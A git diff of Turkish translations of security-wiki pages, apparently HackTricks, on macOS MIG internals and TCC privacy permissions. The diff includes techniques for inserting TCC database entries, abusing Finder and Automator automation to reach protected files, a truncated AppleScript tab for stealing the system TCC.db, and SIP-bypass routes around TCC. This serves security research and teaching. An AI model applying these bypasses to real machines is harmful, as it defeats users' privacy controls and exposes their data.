uzantısını kullanarak Arayüz Tanım Dili (IDL) ile belirtili Bu tanımlar 5 bölümden oluşur: -- **Alt sistem bildirimi**: Alt sistem anahtar kelimesi, **isim** ve **kimlik** belirtmek için kullanılır. Ayrıca, sunucunun çekirdekte çalışması gerekiyorsa **`KernelServer`** olarak işaretlemek de mümkündür. -- **Dahil etme ve içe aktarma**: MIG, C ön işleyicisini kullandığı için içe aktarmaları kullanabilir. Ayrıca, kullanıcı veya sunucu tarafından üretilen kodlar için `uimport` ve `simport` kullanmak da mümkündür. +- **Alt sistem bildirimi**: Alt sistem anahtar kelimesi, **isim** ve **kimlik** belirtmek için kullanılır. Sunucunun çekirdek içinde çalışması gerekiyorsa **`KernelServer`** olarak işaretlemek de mümkündür. +- **Dahil etme ve içe aktarma**: MIG, C ön işleyicisini kullandığı için içe aktarmaları kullanabilir. Ayrıca, kullanıcı veya sunucu tarafından üretilen kodlar için `uimport` ve `simport` kullanmak mümkündür. - **Tür bildirimleri**: Veri türlerini tanımlamak mümkündür, ancak genellikle `mach_types.defs` ve `std_types.defs` dosyalarını içe aktarır. Özel türler için bazı sözdizimleri kullanılabilir: -- \[i`n/out]tran`: Gelen veya giden bir mesajdan çevrilmesi gereken işlev +- \[i`n/out]tran`: Gelen veya giden bir mesajdan çevrilmesi gereken fonksiyon - `c[user/server]type`: Başka bir C türüne eşleme. -- `destructor`: Tür serbest bırakıldığında bu işlevi çağırın. +- `destructor`: Tür serbest bırakıldığında bu fonksiyonu çağır. - **İşlemler**: Bunlar RPC yöntemlerinin tanımlarıdır. 5 farklı tür vardır: - `routine`: Yanıt bekler - `simpleroutine`: Yanıt beklemez @@ -25,7 +25,7 @@ Bu tanımlar 5 bölümden oluşur: ### Örnek -Bu durumda çok basit bir işlev ile bir tanım dosyası oluşturun: +Bu durumda çok basit bir fonksiyon ile bir tanım dosyası oluşturun: ```cpp:myipc.defs subsystem myipc 500; // Arbitrary name and id @@ -40,7 +40,7 @@ server_port : mach_port_t; n1 : uint32_t; n2 : uint32_t); ``` -Not edin ki ilk **argüman bağlanacak porttur** ve MIG **yanıt portunu otomatik olarak yönetecektir** (müşteri kodunda `mig_get_reply_port()` çağrılmadıkça). Ayrıca, **işlemlerin ID'si** belirtilen alt sistem ID'sinden başlayarak **sıralı** olacaktır (yani bir işlem geçersiz kılındığında silinir ve ID'sini hala kullanmak için `skip` kullanılır). +Not edin ki ilk **argüman bağlanacak porttur** ve MIG **yanıt portunu otomatik olarak yönetecektir** (müşteri kodunda `mig_get_reply_port()` çağrılmadığı sürece). Ayrıca, **işlemlerin ID'si** belirtilen alt sistem ID'sinden **sıralı** olarak başlayacaktır (yani bir işlem geçersiz kılındığında silinir ve ID'sini hala kullanmak için `skip` kullanılır). Şimdi MIG'i kullanarak birbirleriyle iletişim kurabilecek sunucu ve istemci kodunu oluşturun ve Çıkarma fonksiyonunu çağırın: ```bash @@ -50,7 +50,7 @@ Mevcut dizinde birkaç yeni dosya oluşturulacaktır. > [!TIP] > Daha karmaşık bir örneği sisteminizde bulabilirsiniz: `mdfind mach_port.defs`\ -> Ve dosya ile aynı klasörden derleyebilirsiniz: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` +> Ve dosyanın bulunduğu klasörden derleyebilirsiniz: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` Dosyalarda **`myipcServer.c`** ve **`myipcServer.h`** **`SERVERPREFmyipc_subsystem`** yapısının beyanını ve tanımını bulabilirsiniz; bu yapı, alınan mesaj ID'sine dayalı olarak çağrılacak fonksiyonu tanımlar (başlangıç numarası olarak 500 belirttik): @@ -89,7 +89,7 @@ routine[1]; {{#endtab}} {{#endtabs}} -Önceki yapıya dayanarak **`myipc_server_routine`** fonksiyonu **mesaj ID'sini** alacak ve çağrılacak uygun fonksiyonu döndürecektir: +Önceki yapıya dayanarak, **`myipc_server_routine`** fonksiyonu **mesaj ID'sini** alacak ve çağrılacak uygun fonksiyonu döndürecektir: ```c mig_external mig_routine_t myipc_server_routine (mach_msg_header_t *InHeadP) @@ -104,18 +104,18 @@ return 0; return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine; } ``` -Bu örnekte tanımlarda yalnızca 1 fonksiyon tanımlamışız, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisi içinde yer alırdı ve ilki ID **500**'e, ikincisi ID **501**'e atanırdı... +Bu örnekte tanımlamalarda yalnızca 1 fonksiyon tanımlamışız, ancak daha fazla fonksiyon tanımlasaydık, bunlar **`SERVERPREFmyipc_subsystem`** dizisi içinde yer alırdı ve ilki ID **500**'e, ikincisi ID **501**'e atanırdı... Fonksiyonun bir **reply** göndermesi bekleniyorsa, `mig_internal kern_return_t __MIG_check__Reply__` fonksiyonu da mevcut olurdu. -Aslında, bu ilişkiyi **`myipcServer.h`** içindeki **`subsystem_to_name_map_myipc`** yapısında tanımlamak mümkündür (**`subsystem*to_name_map*\***`\*\* diğer dosyalarda): +Aslında, bu ilişkiyi **`myipcServer.h`** içindeki **`subsystem_to_name_map_myipc`** yapısında tanımlamak mümkündür (**`subsystem*to_name_map*\***`** diğer dosyalarda): ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ { "Subtract", 500 } #endif ``` -Son olarak, sunucunun çalışmasını sağlamak için önemli bir başka işlev **`myipc_server`** olacaktır; bu, alınan kimlikle ilgili **işlevi çağıracak** olanıdır: +Son olarak, sunucunun çalışmasını sağlamak için önemli bir başka işlev **`myipc_server`** olacaktır; bu, alınan id ile ilgili **işlevi çağıracak** olanıdır:
mig_external boolean_t myipc_server
 (mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
@@ -217,11 +217,11 @@ USERPREFSubtract(port, 40, 2);
 
 ### NDR_record
 
-NDR_record, `libsystem_kernel.dylib` tarafından dışa aktarılır ve MIG'in **verileri sistemden bağımsız hale getirmesine** olanak tanıyan bir yapıdır; çünkü MIG'in farklı sistemler arasında (sadece aynı makinede değil) kullanılacağı düşünülmüştür.
+NDR_record, `libsystem_kernel.dylib` tarafından dışa aktarılır ve MIG'in **verileri sistemden bağımsız hale getirmesine** olanak tanıyan bir yapıdır; çünkü MIG'in farklı sistemler arasında (sadece aynı makinede değil) kullanılmak üzere tasarlandığı düşünülmektedir.
 
-Bu ilginçtir çünkü bir ikili dosyada `_NDR_record` bir bağımlılık olarak bulunursa (`jtool2 -S  | grep NDR` veya `nm`), bu, ikili dosyanın bir MIG istemcisi veya sunucusu olduğu anlamına gelir.
+Bu ilginçtir çünkü eğer bir ikili dosyada `_NDR_record` bir bağımlılık olarak bulunursa (`jtool2 -S  | grep NDR` veya `nm`), bu, ikili dosyanın bir MIG istemcisi veya sunucusu olduğu anlamına gelir.
 
-Ayrıca **MIG sunucuları**, `__DATA.__const` içinde (veya macOS çekirdeğinde `__CONST.__constdata` ve diğer \*OS çekirdeklerinde `__DATA_CONST.__const` içinde) dağıtım tablosuna sahiptir. Bu, **`jtool2`** ile dökülebilir.
+Ayrıca **MIG sunucuları**, `__DATA.__const` içinde (veya macOS çekirdeğinde `__CONST.__constdata` ve diğer \*OS çekirdeklerinde `__DATA_CONST.__const`) dağıtım tablosuna sahiptir. Bu, **`jtool2`** ile dökülebilir.
 
 Ve **MIG istemcileri**, sunuculara `__mach_msg` ile göndermek için `__NDR_record` kullanacaktır.
 
@@ -235,13 +235,13 @@ Birçok ikili dosya artık mach portlarını açmak için MIG kullanıyorsa, **M
 ```bash
 jtool2 -d __DATA.__const myipc_server | grep MIG
 ```
-Ayrıca, MIG fonksiyonları çağrılan gerçek fonksiyonların sadece sarmalayıcılarıdır, bu da demektir ki, onun ayrıştırmasını alıp BL için arama yaparsanız, çağrılan gerçek fonksiyonu bulabilirsiniz:
+Ayrıca, MIG fonksiyonları çağrılan gerçek fonksiyonların sadece sarmalayıcılarıdır, bu da demektir ki, onun ayrıştırmasını alıp BL için grep yaparsanız, çağrılan gerçek fonksiyonu bulabilirsiniz:
 ```bash
 jtool2 -d __DATA.__const myipc_server | grep BL
 ```
 ### Assembly
 
-Daha önce, **gelen mesaj ID'sine bağlı olarak doğru fonksiyonu çağıracak olan** fonksiyonun `myipc_server` olduğu belirtilmişti. Ancak, genellikle ikili dosyanın sembollerine (fonksiyon isimlerine) sahip olmayacaksınız, bu yüzden **dekompile edilmiş halinin nasıl göründüğünü kontrol etmek ilginçtir** çünkü bu fonksiyonun kodu, sergilenen fonksiyonlardan bağımsızdır:
+Daha önce, **gelen mesaj ID'sine bağlı olarak doğru fonksiyonu çağıracak olan** fonksiyonun `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembollerine (fonksiyon isimlerine) sahip olmayacaksınız, bu nedenle **dekompile edilmiş halinin nasıl göründüğünü kontrol etmek ilginçtir** çünkü bu fonksiyonun kodu, sergilenen fonksiyonlardan bağımsız olarak her zaman çok benzer olacaktır:
 
 {{#tabs}}
 {{#tab name="myipc_server decompiled 1"}}
@@ -258,13 +258,13 @@ var_18 = arg1;
 *(int32_t *)(var_18 + 0x10) = 0x0;
 if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
-// sign_extend_64 çağrısı, bu fonksiyonu tanımlamaya yardımcı olabilir
-// Bu, rax'ta çağrılması gereken işaretçiyi saklar
-// 0x100004040 adresinin kullanımı kontrol edilir (fonksiyon adresleri dizisi)
+// Bu fonksiyonu tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
+// Bu, rax'ta çağrılması gereken çağrının işaretçisini saklar
+// 0x100004040 adresinin kullanıldığını kontrol et (fonksiyon adresleri dizisi)
 // 0x1f4 = 500 (başlangıç ID'si)
             rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
             var_20 = rax;
-// If - else, if false dönerken, else doğru fonksiyonu çağırır ve true döner
+// Eğer - else, if false dönerken, else doğru fonksiyonu çağırır ve true döner
             if (rax == 0x0) {
                     *(var_18 + 0x18) = **_NDR_record;
 *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -333,7 +333,7 @@ r8 = 0x1;
 }
 }
 // Önceki versiyondakiyle aynı if else
-// 0x100004040 adresinin kullanımı kontrol edilir (fonksiyon adresleri dizisi)
+// 0x100004040 adresinin kullanıldığını kontrol et (fonksiyon adresleri dizisi)
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
                             *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@@ -365,17 +365,17 @@ return r0;
 {{#endtab}}
 {{#endtabs}}
 
-Aslında, **`0x100004000`** fonksiyonuna giderseniz, **`routine_descriptor`** yapıların dizisini bulacaksınız. Yapının ilk elemanı, **fonksiyonun** uygulandığı **adres** ve **yapı 0x28 byte** alır, bu yüzden her 0x28 byte'tan (byte 0'dan başlayarak) 8 byte alarak, çağrılacak **fonksiyonun adresini** elde edebilirsiniz:
+Aslında **`0x100004000`** fonksiyonuna giderseniz, **`routine_descriptor`** yapıların dizisini bulacaksınız. Yapının ilk elemanı, **fonksiyonun** uygulandığı **adres** ve **yapı 0x28 bayt** alır, bu nedenle her 0x28 bayt (0. bayttan başlayarak) 8 bayt alabilir ve bu, çağrılacak **fonksiyonun adresi** olacaktır:
 
 
-Bu veriler, [**bu Hopper script'i kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir. +Bu veriler [**bu Hopper scriptini kullanarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir. ### Debug -MIG tarafından üretilen kod ayrıca giriş ve çıkış işlemleri hakkında günlükler oluşturmak için `kernel_debug` çağrısını yapar. Bunları **`trace`** veya **`kdv`** kullanarak kontrol etmek mümkündür: `kdv all | grep MIG` +MIG tarafından üretilen kod ayrıca giriş ve çıkış işlemleri hakkında günlükler oluşturmak için `kernel_debug` çağrısını da yapar. Bunları **`trace`** veya **`kdv`** kullanarak kontrol etmek mümkündür: `kdv all | grep MIG` ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index be510fc2e..07940b19b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -6,7 +6,7 @@ **TCC (Şeffaflık, Onay ve Kontrol)**, uygulama izinlerini düzenlemeye odaklanan bir güvenlik protokolüdür. Temel rolü, **konum hizmetleri, kişiler, fotoğraflar, mikrofon, kamera, erişilebilirlik ve tam disk erişimi** gibi hassas özellikleri korumaktır. TCC, bu unsurlara uygulama erişimi vermeden önce açık kullanıcı onayı talep ederek, gizliliği ve kullanıcıların verileri üzerindeki kontrolünü artırır. -Kullanıcılar, uygulamalar korunan özelliklere erişim talep ettiğinde TCC ile karşılaşır. Bu, kullanıcılara **erişimi onaylama veya reddetme** imkanı sunan bir istem aracılığıyla görünür. Ayrıca, TCC, belirli dosyalara erişim vermek için **bir uygulamaya dosyaları sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler; bu sayede uygulamalar yalnızca açıkça izin verilenlere erişim sağlar. +Kullanıcılar, uygulamalar korunan özelliklere erişim talep ettiğinde TCC ile karşılaşır. Bu, kullanıcılara **erişimi onaylama veya reddetme** imkanı sunan bir istem aracılığıyla görünür. Ayrıca, TCC, belirli dosyalara erişim vermek için **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler; bu sayede uygulamalar yalnızca açıkça izin verilenlere erişim sağlar. ![TCC isteminin bir örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) @@ -26,23 +26,23 @@ ps -ef | grep tcc İzinler/retler daha sonra bazı TCC veritabanlarında saklanır: -- **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı. -- Bu veritabanı **SIP korumalıdır**, bu nedenle yalnızca bir SIP bypass'ı içine yazabilir. +- Sistem genelindeki veritabanı **`/Library/Application Support/com.apple.TCC/TCC.db`** . +- Bu veritabanı **SIP korumalıdır**, bu nedenle yalnızca bir SIP bypass'ı buna yazabilir. - Kullanıcı TCC veritabanı **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** her kullanıcı için tercihleri saklar. -- Bu veritabanı korumalıdır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler içine yazabilir (ancak SIP tarafından korunmaz). +- Bu veritabanı korunmaktadır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler buna yazabilir (ancak SIP tarafından korunmaz). > [!WARNING] > Önceki veritabanları da **okuma erişimi için TCC korumalıdır**. Bu nedenle, **TCC ayrıcalıklı bir süreçten** gelmediği sürece normal kullanıcı TCC veritabanınızı **okuyamazsınız**. > > Ancak, bu yüksek ayrıcalıklara sahip bir süreç (örneğin **FDA** veya **`kTCCServiceEndpointSecurityClient`**) kullanıcıların TCC veritabanına yazabilecektir. -- **Konum hizmetlerine** erişim izni verilen istemcileri belirtmek için **`/var/db/locationd/clients.plist`** içinde **üçüncü** bir TCC veritabanı vardır. +- **Konum hizmetlerine** erişim izni verilen istemcileri belirtmek için **`/var/db/locationd/clients.plist`** adlı **üçüncü** bir TCC veritabanı vardır. - SIP korumalı dosya **`/Users/carlospolop/Downloads/REG.db`** (TCC ile okuma erişiminden de korunmuştur), tüm **geçerli TCC veritabanlarının** **konumunu** içerir. -- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilen izinleri içerir. -- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesi. +- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilmiş izinleri içerir. +- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların bir izin listesidir. > [!TIP] -> **iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. +> TCC veritabanı **iOS**'ta **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. > [!NOTE] > **Bildirim merkezi UI** sistem TCC veritabanında **değişiklikler** yapabilir: @@ -54,7 +54,7 @@ ps -ef | grep tcc > com.apple.rootless.storage.TCC > ``` > -> Ancak, kullanıcılar **`tccutil`** komut satırı aracıyla **kuralları silebilir veya sorgulayabilir**. +> Ancak, kullanıcılar **`tccutil`** komut satırı aracı ile **kuralları silebilir veya sorgulayabilir**. #### Veritabanlarını Sorgulama @@ -105,14 +105,14 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; > Her iki veritabanını kontrol ederek bir uygulamanın izin verdiği, yasakladığı veya sahip olmadığı izinleri kontrol edebilirsiniz (bunu isteyecektir). - **`service`** TCC **izin** dizesinin temsilidir -- **`client`** izinlerle birlikte **bundle ID** veya **ikili dosya yolu**dur -- **`client_type`** bunun bir Bundle Identifier(0) mı yoksa mutlak yol(1) mu olduğunu gösterir +- **`client`** izinlerle birlikte **paket kimliği** veya **ikili dosya yolu**'dur +- **`client_type`** bunun bir Paket Tanımlayıcısı(0) mı yoksa mutlak yol(1) mu olduğunu belirtir
Mutlak yol ise nasıl çalıştırılır -Sadece **`launctl load you_bin.plist`** yapın, bir plist ile: +Sadece **`launctl load you_bin.plist`** komutunu çalıştırın, bir plist ile: ```xml @@ -169,7 +169,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') echo "X'$REQ_HEX'" ``` -- Daha fazla bilgi için **diğer alanlar** hakkında [**bu blog yazısını kontrol edin**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). +- Daha fazla bilgi için tablonun **diğer alanları** hakkında [**bu blog yazısını kontrol edin**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). Ayrıca `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` bölümünde uygulamalara **verilmiş izinleri** kontrol edebilirsiniz. @@ -186,7 +186,7 @@ tccutil reset All ``` ### TCC İmza Kontrolleri -TCC **veritabanı**, uygulamanın **Bundle ID**'sini saklar, ancak aynı zamanda izin kullanmak isteyen uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**. +TCC **veritabanı**, uygulamanın **Bundle ID**'sini saklar, ancak aynı zamanda izin istemek için başvuran uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -206,9 +206,9 @@ csreq -t -r /tmp/telegram_csreq.bin Uygulamalar **sadece** bazı kaynaklara **erişim talep etmekle** kalmaz, aynı zamanda **ilgili yetkilere sahip** olmaları da gerekir.\ Örneğin, **Telegram** uygulaması **kamera erişimi** talep etmek için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan** bir **uygulama**, kameraya erişemez (ve kullanıcıdan izin istenmez). -Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine** **erişebilmesi** için herhangi bir özel **yetkiye sahip olmaları gerekmez.** Sistem, erişimi şeffaf bir şekilde yönetecek ve gerektiğinde **kullanıcıyı bilgilendirecektir.** +Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir özel **yetkiye sahip olmaları gerekmez.** Sistem, erişimi şeffaf bir şekilde yönetecek ve gerektiğinde **kullanıcıyı bilgilendirecektir.** -Apple'ın uygulamaları **bildirim oluşturmaz.** Yetki listelerinde **önceden verilmiş haklar** içerirler, bu da onların **asla bir açılır pencere oluşturmayacağı** ve **TCC veritabanlarında** görünmeyeceği anlamına gelir. Örneğin: +Apple'ın uygulamaları **bildirim oluşturmaz.** Yetki listelerinde **önceden verilmiş haklar** içerirler, bu da onların **asla bir açılır pencere oluşturmayacağı** ve **TCC veritabanlarında** görünmeyecekleri anlamına gelir. Örneğin: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -234,7 +234,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC ### Kullanıcı Niyeti / com.apple.macl -Daha önce belirtildiği gibi, bir dosyaya bir uygulamanın erişim izni **sürükleyip bırakarak** verilebilir. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın **genişletilmiş** **özelliği** olarak saklanacaktır. Bu özellik, izin verilen uygulamanın **UUID'sini** **saklayacaktır**: +Daha önce belirtildiği gibi, bir uygulamaya bir dosyaya erişim **vermek için dosyayı sürükleyip bırakmak** mümkündür. Bu erişim herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın **genişletilmiş** **özelliği** olarak kaydedilecektir. Bu özellik, izin verilen uygulamanın **UUID'sini** **saklayacaktır**: ```bash xattr Desktop/private.txt com.apple.macl @@ -250,17 +250,17 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 ``` > [!NOTE] -> İlginçtir ki **`com.apple.macl`** niteliği **Sandbox** tarafından yönetilmektedir, tccd tarafından değil. +> İlginçtir ki, **`com.apple.macl`** özelliği **Sandbox** tarafından yönetilmektedir, tccd tarafından değil. > -> Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UID'leri olacağı için, o uygulamaya erişim izni verilmeyecektir. +> Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UIDs'ye sahip olacağı için, o uygulamaya erişim izni verilmeyecektir. -Genişletilmiş nitelik `com.apple.macl` **diğer genişletilmiş nitelikler gibi silinemez** çünkü **SIP tarafından korunmaktadır**. Ancak, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **zipleyerek**, **silerek** ve **zipten çıkararak** devre dışı bırakmak mümkündür. +Genişletilmiş özellik `com.apple.macl` **diğer genişletilmiş özellikler gibi silinemez** çünkü **SIP tarafından korunmaktadır**. Ancak, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **zipleyerek**, **silerek** ve **zipten çıkararak** devre dışı bırakmak mümkündür. -## TCC Privesc & Bypasslar +## TCC Privesc & Bypasses ### TCC'ye Ekle -Eğer bir noktada bir TCC veritabanında yazma erişimi elde ederseniz, bir giriş eklemek için aşağıdakine benzer bir şey kullanabilirsiniz (yorumları kaldırın): +Eğer bir noktada TCC veritabanında yazma erişimi elde ederseniz, bir giriş eklemek için aşağıdakine benzer bir şey kullanabilirsiniz (yorumları kaldırın):
@@ -308,24 +308,24 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### TCC Yükleri -Eğer bazı TCC izinleri ile bir uygulamanın içine girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri ile ilgili aşağıdaki sayfayı kontrol edin: +Eğer bazı TCC izinleri ile bir uygulamanın içine girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri sayfasını kontrol edin: {{#ref}} macos-tcc-payloads.md {{#endref}} -### Apple Olayları +### Apple Etkinlikleri -Apple Olayları hakkında bilgi edinin: +Apple Etkinlikleri hakkında bilgi edinin: {{#ref}} macos-apple-events.md {{#endref}} -### Otomasyon (Finder) için FDA\* +### Otomasyon (Finder) ile FDA\* Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\ -Bu özel TCC izni, TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler her şeyi yönetmeye izin vermez). +Bu özel TCC izni, TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler sadece her şeyi yönetmeye izin vermez). **Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu nedenle eğer üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları **bazı eylemleri gerçekleştirmek için** kötüye kullanabilirsiniz.\ Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır. @@ -345,7 +345,7 @@ EOD ``` {{#endtab}} -{{#tab name="Sistemlerin TCC.db'sini Çal"}} +{{#tab name="Steal systems TCC.db"}} ```applescript osascript< [!WARNING] -> Bu izinle, **Finder'dan TCC kısıtlı klasörlere erişim istemek** ve size dosyaları vermesini sağlamak mümkün olacak, ancak bildiğim kadarıyla **Finder'ın rastgele kod çalıştırmasını sağlayamayacaksınız** ve bu nedenle FDA erişimini tam olarak kötüye kullanamayacaksınız. +> Bu izinle **Finder'dan TCC kısıtlı klasörlere erişim istemek** ve size dosyaları vermesini sağlamak mümkün olacak, ancak bildiğim kadarıyla **Finder'ın rastgele kod çalıştırmasını sağlayamayacaksınız** ve bu nedenle FDA erişimini tam olarak kötüye kullanamayacaksınız. > > Bu nedenle, tam FDA yeteneklerini kötüye kullanamayacaksınız. -Bu, Finder üzerinde Otomasyon ayrıcalıkları almak için TCC istemidir: +Finder üzerinde Otomasyon ayrıcalıkları almak için TCC istemi:
> [!CAUTION] -> **Automator** uygulamasının TCC izni **`kTCCServiceAppleEvents`** olduğundan, **herhangi bir uygulamayı** kontrol edebilir, örneğin Finder. Dolayısıyla, Automator'ı kontrol etme iznine sahip olduğunuzda, aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz: +> **Automator** uygulamasının TCC izni **`kTCCServiceAppleEvents`** olduğundan, **herhangi bir uygulamayı** kontrol edebilir, örneğin Finder. Dolayısıyla Automator'ı kontrol etme iznine sahip olduğunuzda, aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz:
@@ -396,7 +396,7 @@ EOD ```
-**Script Editor uygulamasıyla** de aynı şey oluyor, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir scripti çalıştırmaya zorlayamazsınız. +**Script Editor uygulamasıyla** de aynı şey olur, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir scripti çalıştırmaya zorlayamazsınız. ### Otomasyon (SE) ile bazı TCC @@ -494,7 +494,7 @@ EOF ``` ### `kTCCServiceAccessibility` için FDA\* -Accessibility izinlerini kötüye kullanmak için bazı [**payload'lar**](macos-tcc-payloads.md#accessibility) kontrol edin, örneğin FDA\*'ya privesc yapmak veya bir keylogger çalıştırmak için. +Accessibility izinlerini kötüye kullanmak için bazı [**payload'ları kontrol edin**](macos-tcc-payloads.md#accessibility) ve FDA\*'ya privesc yapmak veya örneğin bir keylogger çalıştırmak için. ### **Endpoint Security Client için FDA** @@ -504,7 +504,7 @@ Eğer **`kTCCServiceEndpointSecurityClient`**'e sahipseniz, FDA'ya sahipsiniz. S **`kTCCServiceSystemPolicySysAdminFiles`** bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine** izin verir, bu da ev dizinini değiştirir ve dolayısıyla **TCC'yi atlamasına** olanak tanır. -### Kullanıcı TCC DB'si için FDA +### Kullanıcı TCC DB için FDA **Kullanıcı TCC** veritabanı üzerinde **yazma izinleri** elde ederek **`FDA`** izinlerini kendinize veremezsiniz, yalnızca sistem veritabanında bulunan kişi bunu verebilir. @@ -514,18 +514,18 @@ Ama kendinize **`Finder için Otomasyon hakları`** verebilir ve önceki tekniğ **Tam Disk Erişimi** TCC adı **`kTCCServiceSystemPolicyAllFiles`**'dir. -Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme durumunda kalıcılık tekniği olarak faydalı olabilir. +Bu gerçek bir privesc olduğunu düşünmüyorum, ama yine de faydalı bulursanız: Eğer FDA ile bir programı kontrol ediyorsanız, **kullanıcıların TCC veritabanını değiştirebilir ve kendinize her türlü erişim verebilirsiniz**. Bu, FDA izinlerinizi kaybetme durumunda kalıcı bir teknik olarak faydalı olabilir. -### **SIP Atlatma ile TCC Atlatma** +### **SIP Atlaması ile TCC Atlaması** -Sistem **TCC veritabanı** **SIP** tarafından korunmaktadır, bu yüzden yalnızca **belirtilen haklara sahip** süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir **SIP atlatması** bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir: +Sistem **TCC veritabanı** **SIP** ile korunmaktadır, bu yüzden yalnızca **belirtilen haklara sahip** süreçler bunu değiştirebilir. Bu nedenle, bir saldırgan bir **SIP atlaması** bulursa (SIP tarafından kısıtlanan bir dosyayı değiştirebilirse), şunları yapabilir: -- **TCC veritabanının korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyaları kötüye kullanabilir: +- **TCC veritabanının korumasını kaldırabilir** ve kendisine tüm TCC izinlerini verebilir. Örneğin bu dosyalardan herhangi birini kötüye kullanabilir: - TCC sistem veritabanı - REG.db - MDMOverrides.plist -Ancak, 